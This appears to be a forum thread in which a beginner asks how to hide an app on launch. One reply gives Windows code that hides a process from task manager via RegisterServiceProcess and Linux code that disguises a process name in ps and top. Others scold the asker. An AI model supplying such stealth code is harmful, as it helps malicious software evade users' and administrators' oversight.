is there a line ov code that will hide my app as soon as it opens

[pseudo_opcode]

1.There is something in windows known as TSRs.. (terminate and stay resident programs), usually this is what they use in malicious programs.. but telling you more about this is impossible for me, since it contains some calls to the BIOS and operating system kernel.. and they are in hex...
So again you would have 1000 questions ready since on that.. i dont think you should learn about TSRs without doing your homework first.

2.There are other ways of doing this too.
In windows you can hide a process from task manager by following code

Code: Select all

USERES("HiddenApp.res");
USEFORM("Unit1.cpp",Form1);


typedef DWORD (WINAPI *TRegisterServiceProcess)(DWORD,DWORD);
bool registered=false;

//-----------------------------------------------------------------------
void __fastcall reg(bool which) //true=register, false=unregister
{
  HMODULE hmod;
  TRegisterServiceProcess pReg;
  hmod = LoadLibrary("kernel32.dll");

  if (!hmod) return;
  (FARPROC)pReg = (FARPROC)::GetProcAddress(hmod,"RegisterServiceProcess");
  if (!pReg) {FreeLibrary(hmod); return;}
  else 
  {
    if (which)
      pReg(0,1); //unregister our process  
    else
      pReg(0,0);
  }
  registered = true;
  FreeLibrary(hmod);
}
//-----------------------------------------------------------------------
WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int)
{  
  try
  {
    reg(true);
    Application->Initialize();
    Application->CreateForm(__classid(TForm1), &Form1);
    Application->Run();
  }
  catch (Exception &exception)
  {
    Application->ShowException(&exception);
  }

  if (registered) reg(false);
  return 0;
}
//--------------eof--------------------------------------------------------

in linux you can hide processes from ps and top with

Code: Select all

int main(argc, argv)
int argc;
char **argv;
{
char *p;

for (p = argv[0]; *p; p++)
*p = 0;

strcpy(argv[0], "rn");

(void) getchar (); /* to allow you to see that ps reports "rn" */
return(0);
}

are you testing our patience?

[bad_brain]

man, do you really think you can copy&paste some code from somewhere and WE customize it for your needs? you said you want to learn C++...then do it, and we will give you help if we can. but if you're too lazy to learn you will not get any support, this is pretty logic, right?

[bubzuru]

im not asking you to customize it im asking for help to hide it from the desktop

[bad_brain]

hehe, alright, here's a way:

Code: Select all

#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
while(1)
{
Sleep(1000);
}

return 0;
}

but it's up to you now to implement it...

[CommonStray]

if your just learning C++ theres no way you wrote the above mentioned code, its too commented

[bubzuru]

i didnt write the code but i hope that soon i will be able to

[bubzuru]

Code: Select all

include <windows.h> 

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) 
{ 
while(1) 
{ 
Sleep(1000); 
} 

return 0; 
} 
 

i added the code but the window still shows up any more suggestions

Yeah i have one...

This is sad. If you knew anything about windows API at all, the first thing you learn is how to make a window. Dude, just like everything else, you have to be smarter than the programming language...

[bubzuru]

i no how to make a window i want to no how to make a window run in the background so you cant see it

[Gogeta70]

*sigh* This is simple logic. If you don't want a window to be seen... don't make one.

nice one..
